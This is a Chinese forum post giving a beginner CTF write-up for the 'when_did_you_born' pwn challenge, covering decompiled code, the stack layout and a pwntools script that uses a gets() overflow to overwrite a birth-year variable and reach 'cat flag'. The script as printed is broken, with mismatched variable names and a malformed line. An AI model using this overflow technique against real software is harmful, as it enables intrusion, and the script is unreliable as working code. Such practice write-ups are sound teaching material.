首页
论坛
课程
招聘
[原创]攻防世界PWN新手区:when_did_you_born
2022-4-4 10:59 3358

[原创]攻防世界PWN新手区:when_did_you_born

2022-4-4 10:59
3358

题目描述:
只要知道你的年龄就能获得flag,但菜鸟发现无论如何输入都不正确,怎么办?

一、基础信息探查:

拿到文件先用file命令查看文件的基本信息

 

 

再使用checksec命令查看文件的保护机制:

 

 

根据上面这两条命令可知,这个文件为64位的ELF文件,而且还开了不少保护,其中就有金丝雀。

二、逆向分析:

直接丢进ida里面分析,先分析主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 result; // rax
  char name[8]; // [rsp+0h] [rbp-20h] BYREF
  unsigned int birth[4]; // [rsp+8h] [rbp-18h] BYREF
  unsigned __int64 tls; // [rsp+18h] [rbp-8h]
 
  tls = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", birth);
  while ( getchar() != 10 )
    ;
  if ( birth[0] == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(name);
    printf("You Are Born In %d\n", birth[0]);
    if ( birth[0] == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
  }
  return result;
}

大概分析代码逻辑,可以发现我们的最终目的是在birth里面存放1926从而catflag,但是如果一开始在birth存放1926会在第一个循环给ban掉,这里注意到主函数这里是先接收的birth然后判断birth之后再接收的name,而name用到了gets函数,众所周知gets函数不会验证输入数据的位数。这里就成了我们利用的地方。先查看一下栈布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-0000000000000020 ; D/A/*   : change type (data/ascii/array)
-0000000000000020 ; N       : rename
-0000000000000020 ; U       : undefine
-0000000000000020 ; Use data definition commands to create local variables and function arguments.
-0000000000000020 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000020 ; Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020 ;
-0000000000000020
-0000000000000020 name            db 8 dup(?)
-0000000000000018 birth           dd 4 dup(?)
-0000000000000008 tls             dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

这里就很明显了,虽然这题用到了canary,但是我们并不需要注入到tls变量处,我们只需要在name变量接受gets的值时顺便覆盖到birth变量就行。

三、shellcode编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
 
context(os='linux',arch='amd64',log_level="debug")
content = 1
 
def main():
    if content == 1:
        sh = process("1-when_did_you_born")      #建立连接
    else:
        sh = remote("127.0.0.1",80)       #两个档一个打本地一个打远程
 
    payload = b'A' * (0x20-0x18) + p64(1926)   #python3对于字符默认不是
#bit流所以在前面加一个b
        io.recvuntil("What's Your Birth?\n"#接受到指定字符串后停止
    io.sendline("1900")   #这里随便发一个数据
 
    io.recvuntil("What's Your Name?\n")
    io.sendline(payload)
 
    io.interactive()      #打开交互
 
if __name__ == '__main__':
    main()


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回